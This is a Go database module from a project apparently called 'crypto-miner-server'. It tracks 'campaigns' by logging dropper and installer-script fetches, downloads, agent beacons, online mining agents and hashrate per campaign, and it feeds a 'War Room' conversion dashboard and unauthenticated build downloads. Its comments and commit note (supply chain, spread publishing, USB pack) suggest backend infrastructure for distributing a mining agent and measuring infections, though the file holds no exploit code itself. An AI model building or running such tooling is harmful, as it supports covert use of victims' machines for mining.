Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
462 lines
12 KiB
Go
462 lines
12 KiB
Go
package db
|
|
|
|
import (
|
|
"fmt"
|
|
"math"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
const (
|
|
CampaignEventPageHit = "page_hit"
|
|
CampaignEventDownload = "download"
|
|
CampaignEventAgentConnect = "agent_connect"
|
|
)
|
|
|
|
// LogCampaignEvent records a funnel event (page_hit, download, agent_connect) for a campaign slug.
|
|
func (d *Database) LogCampaignEvent(campaign, buildID, eventType, source, ip, userAgent string) error {
|
|
campaign = sanitizeCampaign(campaign)
|
|
if campaign == "" {
|
|
return nil
|
|
}
|
|
if eventType == "" {
|
|
eventType = inferCampaignEventType(source)
|
|
}
|
|
_, err := d.Exec(
|
|
`INSERT INTO campaign_hits (campaign, build_id, source, event_type, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
|
campaign, buildID, source, eventType, ip, userAgent, time.Now(),
|
|
)
|
|
return err
|
|
}
|
|
|
|
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
|
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
|
return d.LogCampaignEvent(campaign, buildID, inferCampaignEventType(source), source, ip, userAgent)
|
|
}
|
|
|
|
func inferCampaignEventType(source string) string {
|
|
switch source {
|
|
case "get", "public_download":
|
|
return CampaignEventDownload
|
|
case "ws_auth", "agent_connect":
|
|
return CampaignEventAgentConnect
|
|
case "install.sh", "install.ps1", "install.command":
|
|
return CampaignEventPageHit
|
|
default:
|
|
return CampaignEventPageHit
|
|
}
|
|
}
|
|
|
|
func effectiveEventType(stored, source string) string {
|
|
if stored != "" {
|
|
return stored
|
|
}
|
|
return inferCampaignEventType(source)
|
|
}
|
|
|
|
func appendUniquePin(pins []string, buildID string) []string {
|
|
buildID = strings.TrimSpace(buildID)
|
|
if buildID == "" {
|
|
return pins
|
|
}
|
|
for _, p := range pins {
|
|
if p == buildID {
|
|
return pins
|
|
}
|
|
}
|
|
return append(pins, buildID)
|
|
}
|
|
|
|
func sanitizeCampaign(c string) string {
|
|
c = strings.TrimSpace(c)
|
|
if len(c) > 64 {
|
|
c = c[:64]
|
|
}
|
|
// Allow alphanumeric, dash, underscore, dot
|
|
var b strings.Builder
|
|
for _, r := range c {
|
|
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
|
b.WriteRune(r)
|
|
}
|
|
}
|
|
return b.String()
|
|
}
|
|
|
|
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
|
|
type CampaignHitSummary struct {
|
|
Campaign string `json:"campaign"`
|
|
Count int `json:"count"`
|
|
LastHit string `json:"last_hit"`
|
|
}
|
|
|
|
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
|
|
if limit <= 0 || limit > 500 {
|
|
limit = 100
|
|
}
|
|
rows, err := d.Query(`
|
|
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
|
|
FROM campaign_hits
|
|
GROUP BY campaign
|
|
ORDER BY cnt DESC
|
|
LIMIT ?`, limit)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
var out []CampaignHitSummary
|
|
for rows.Next() {
|
|
var s CampaignHitSummary
|
|
var lastRaw string
|
|
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
|
|
return nil, err
|
|
}
|
|
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
|
|
s.LastHit = t.Format(time.RFC3339)
|
|
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
|
|
s.LastHit = t.Format(time.RFC3339)
|
|
} else {
|
|
s.LastHit = lastRaw
|
|
}
|
|
out = append(out, s)
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
// WarRoomCampaign is per-slug funnel stats for the Emberwake War Room dashboard.
|
|
type WarRoomCampaign struct {
|
|
Campaign string `json:"campaign"`
|
|
Hits int `json:"hits"`
|
|
Downloads int `json:"downloads"`
|
|
FirstBeacon int `json:"first_beacon"`
|
|
Mining int `json:"mining"`
|
|
Agents int `json:"agents"`
|
|
Online int `json:"online"`
|
|
Hashrate float64 `json:"hashrate"`
|
|
ConversionPct float64 `json:"conversion_pct"`
|
|
DailyHits []int `json:"daily_hits"`
|
|
LastActivity string `json:"last_activity,omitempty"`
|
|
Pins []string `json:"pins,omitempty"`
|
|
}
|
|
|
|
// WarRoomResponse aggregates funnel stats across campaigns for a date window.
|
|
type WarRoomResponse struct {
|
|
GeneratedAt string `json:"generated_at"`
|
|
Days int `json:"days"`
|
|
Campaigns []WarRoomCampaign `json:"campaigns"`
|
|
}
|
|
|
|
// ListWarRoom returns funnel stats per campaign for the last N days.
|
|
func (d *Database) ListWarRoom(days int) (*WarRoomResponse, error) {
|
|
if days <= 0 || days > 90 {
|
|
days = 7
|
|
}
|
|
since := time.Now().AddDate(0, 0, -days)
|
|
dayKeys := make([]string, days)
|
|
dayIndex := map[string]int{}
|
|
for i := 0; i < days; i++ {
|
|
day := since.AddDate(0, 0, i).Format("2006-01-02")
|
|
dayKeys[i] = day
|
|
dayIndex[day] = i
|
|
}
|
|
|
|
byCampaign := map[string]*WarRoomCampaign{}
|
|
|
|
addCampaign := func(slug string) *WarRoomCampaign {
|
|
if c, ok := byCampaign[slug]; ok {
|
|
return c
|
|
}
|
|
c := &WarRoomCampaign{
|
|
Campaign: slug,
|
|
DailyHits: make([]int, days),
|
|
}
|
|
byCampaign[slug] = c
|
|
return c
|
|
}
|
|
|
|
rows, err := d.Query(`
|
|
SELECT campaign, COALESCE(event_type, ''), source, COUNT(*) AS cnt
|
|
FROM campaign_hits
|
|
WHERE created_at >= ? AND campaign != ''
|
|
GROUP BY campaign, COALESCE(event_type, ''), source`, since)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
for rows.Next() {
|
|
var slug, eventType, source string
|
|
var cnt int
|
|
if err := rows.Scan(&slug, &eventType, &source, &cnt); err != nil {
|
|
rows.Close()
|
|
return nil, err
|
|
}
|
|
c := addCampaign(slug)
|
|
switch effectiveEventType(eventType, source) {
|
|
case CampaignEventDownload:
|
|
c.Downloads += cnt
|
|
case CampaignEventAgentConnect:
|
|
// agent_connect rows are funnel signals; agent counts come from agents table
|
|
default:
|
|
c.Hits += cnt
|
|
}
|
|
}
|
|
rows.Close()
|
|
|
|
dailyRows, err := d.Query(`
|
|
SELECT campaign, created_at, COALESCE(event_type, ''), source
|
|
FROM campaign_hits
|
|
WHERE created_at >= ? AND campaign != ''`, since)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
for dailyRows.Next() {
|
|
var slug, createdRaw, eventType, source string
|
|
if err := dailyRows.Scan(&slug, &createdRaw, &eventType, &source); err != nil {
|
|
dailyRows.Close()
|
|
return nil, err
|
|
}
|
|
if effectiveEventType(eventType, source) != CampaignEventPageHit {
|
|
continue
|
|
}
|
|
day := campaignHitDay(createdRaw)
|
|
if idx, ok := dayIndex[day]; ok {
|
|
c := addCampaign(slug)
|
|
c.DailyHits[idx]++
|
|
}
|
|
}
|
|
dailyRows.Close()
|
|
|
|
agentRows, err := d.Query(`
|
|
SELECT campaign,
|
|
COUNT(*) AS agents,
|
|
SUM(CASE WHEN status = 'online' THEN 1 ELSE 0 END) AS online,
|
|
COALESCE(SUM(CASE WHEN status = 'online' THEN hashrate_15m ELSE 0 END), 0) AS hashrate,
|
|
SUM(CASE WHEN hashrate_15m > 0 OR gpu_hashrate_15m > 0 THEN 1 ELSE 0 END) AS mining
|
|
FROM agents
|
|
WHERE campaign != ''
|
|
GROUP BY campaign`)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
for agentRows.Next() {
|
|
var slug string
|
|
var agents, online, mining int
|
|
var hashrate float64
|
|
if err := agentRows.Scan(&slug, &agents, &online, &hashrate, &mining); err != nil {
|
|
agentRows.Close()
|
|
return nil, err
|
|
}
|
|
c := addCampaign(slug)
|
|
c.Agents = agents
|
|
c.FirstBeacon = agents
|
|
c.Mining = mining
|
|
c.Online = online
|
|
c.Hashrate = hashrate
|
|
}
|
|
agentRows.Close()
|
|
|
|
lastRows, err := d.Query(`
|
|
SELECT campaign, MAX(created_at) AS last_hit
|
|
FROM campaign_hits
|
|
WHERE campaign != ''
|
|
GROUP BY campaign`)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
for lastRows.Next() {
|
|
var slug, lastRaw string
|
|
if err := lastRows.Scan(&slug, &lastRaw); err != nil {
|
|
lastRows.Close()
|
|
return nil, err
|
|
}
|
|
c := addCampaign(slug)
|
|
c.LastActivity = formatCampaignTime(lastRaw)
|
|
}
|
|
lastRows.Close()
|
|
|
|
pinRows, err := d.Query(`
|
|
SELECT DISTINCT campaign, build_id
|
|
FROM campaign_hits
|
|
WHERE campaign != '' AND build_id != ''`)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
for pinRows.Next() {
|
|
var slug, buildID string
|
|
if err := pinRows.Scan(&slug, &buildID); err != nil {
|
|
pinRows.Close()
|
|
return nil, err
|
|
}
|
|
c := addCampaign(slug)
|
|
c.Pins = appendUniquePin(c.Pins, buildID)
|
|
}
|
|
pinRows.Close()
|
|
|
|
agentPinRows, err := d.Query(`
|
|
SELECT DISTINCT campaign, build_id
|
|
FROM agents
|
|
WHERE campaign != '' AND build_id != ''`)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
for agentPinRows.Next() {
|
|
var slug, buildID string
|
|
if err := agentPinRows.Scan(&slug, &buildID); err != nil {
|
|
agentPinRows.Close()
|
|
return nil, err
|
|
}
|
|
c := addCampaign(slug)
|
|
c.Pins = appendUniquePin(c.Pins, buildID)
|
|
}
|
|
agentPinRows.Close()
|
|
|
|
out := make([]WarRoomCampaign, 0, len(byCampaign))
|
|
for _, c := range byCampaign {
|
|
if c.Hits > 0 {
|
|
c.ConversionPct = math.Round((float64(c.Agents)/float64(c.Hits))*1000) / 10
|
|
}
|
|
out = append(out, *c)
|
|
}
|
|
// Sort by hits desc, then agents desc
|
|
for i := 0; i < len(out); i++ {
|
|
for j := i + 1; j < len(out); j++ {
|
|
if out[j].Hits > out[i].Hits || (out[j].Hits == out[i].Hits && out[j].Agents > out[i].Agents) {
|
|
out[i], out[j] = out[j], out[i]
|
|
}
|
|
}
|
|
}
|
|
if out == nil {
|
|
out = []WarRoomCampaign{}
|
|
}
|
|
return &WarRoomResponse{
|
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
|
Days: days,
|
|
Campaigns: out,
|
|
}, nil
|
|
}
|
|
|
|
func campaignHitDay(raw string) string {
|
|
for _, layout := range []string{
|
|
time.RFC3339,
|
|
"2006-01-02 15:04:05-07:00",
|
|
"2006-01-02 15:04:05",
|
|
"2006-01-02",
|
|
} {
|
|
if t, err := time.Parse(layout, raw); err == nil {
|
|
return t.Format("2006-01-02")
|
|
}
|
|
}
|
|
if len(raw) >= 10 {
|
|
return raw[:10]
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func formatCampaignTime(raw string) string {
|
|
if t, err := time.Parse("2006-01-02 15:04:05-07:00", raw); err == nil {
|
|
return t.Format(time.RFC3339)
|
|
}
|
|
if t, err := time.Parse(time.RFC3339, raw); err == nil {
|
|
return t.Format(time.RFC3339)
|
|
}
|
|
return raw
|
|
}
|
|
|
|
// ListPublicBuilds returns builds eligible for unauthenticated download.
|
|
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
|
|
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
|
|
if allEnabled {
|
|
return d.ListBuilds(50)
|
|
}
|
|
if latestN <= 0 {
|
|
latestN = 3
|
|
}
|
|
|
|
seen := map[string]bool{}
|
|
var out []*models.BuildRecord
|
|
|
|
add := func(b *models.BuildRecord) {
|
|
if b == nil || seen[b.ID] {
|
|
return
|
|
}
|
|
seen[b.ID] = true
|
|
out = append(out, b)
|
|
}
|
|
|
|
// Pinned builds
|
|
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
|
|
if err == nil {
|
|
defer pinnedRows.Close()
|
|
for pinnedRows.Next() {
|
|
b, err := scanBuild(pinnedRows)
|
|
if err == nil {
|
|
add(b)
|
|
}
|
|
}
|
|
}
|
|
|
|
// Operator-marked public
|
|
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
|
|
if err == nil {
|
|
defer publicRows.Close()
|
|
for publicRows.Next() {
|
|
b, err := scanBuild(publicRows)
|
|
if err == nil {
|
|
add(b)
|
|
}
|
|
}
|
|
}
|
|
|
|
// Latest N by created_at
|
|
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
|
|
if err == nil {
|
|
defer latestRows.Close()
|
|
for latestRows.Next() {
|
|
b, err := scanBuild(latestRows)
|
|
if err == nil {
|
|
add(b)
|
|
}
|
|
}
|
|
}
|
|
|
|
if out == nil {
|
|
out = []*models.BuildRecord{}
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
|
|
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
|
|
if allEnabled {
|
|
_, err := d.GetBuild(id)
|
|
return err == nil, err
|
|
}
|
|
builds, err := d.ListPublicBuilds(false, latestN)
|
|
if err != nil {
|
|
return false, err
|
|
}
|
|
for _, b := range builds {
|
|
if b.ID == id {
|
|
return true, nil
|
|
}
|
|
}
|
|
return false, nil
|
|
}
|
|
|
|
// SetBuildPublic toggles the operator public flag on a build.
|
|
func (d *Database) SetBuildPublic(id string, public bool) error {
|
|
val := 0
|
|
if public {
|
|
val = 1
|
|
}
|
|
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
n, _ := res.RowsAffected()
|
|
if n == 0 {
|
|
return fmt.Errorf("build not found: %s", id)
|
|
}
|
|
return nil
|
|
}
|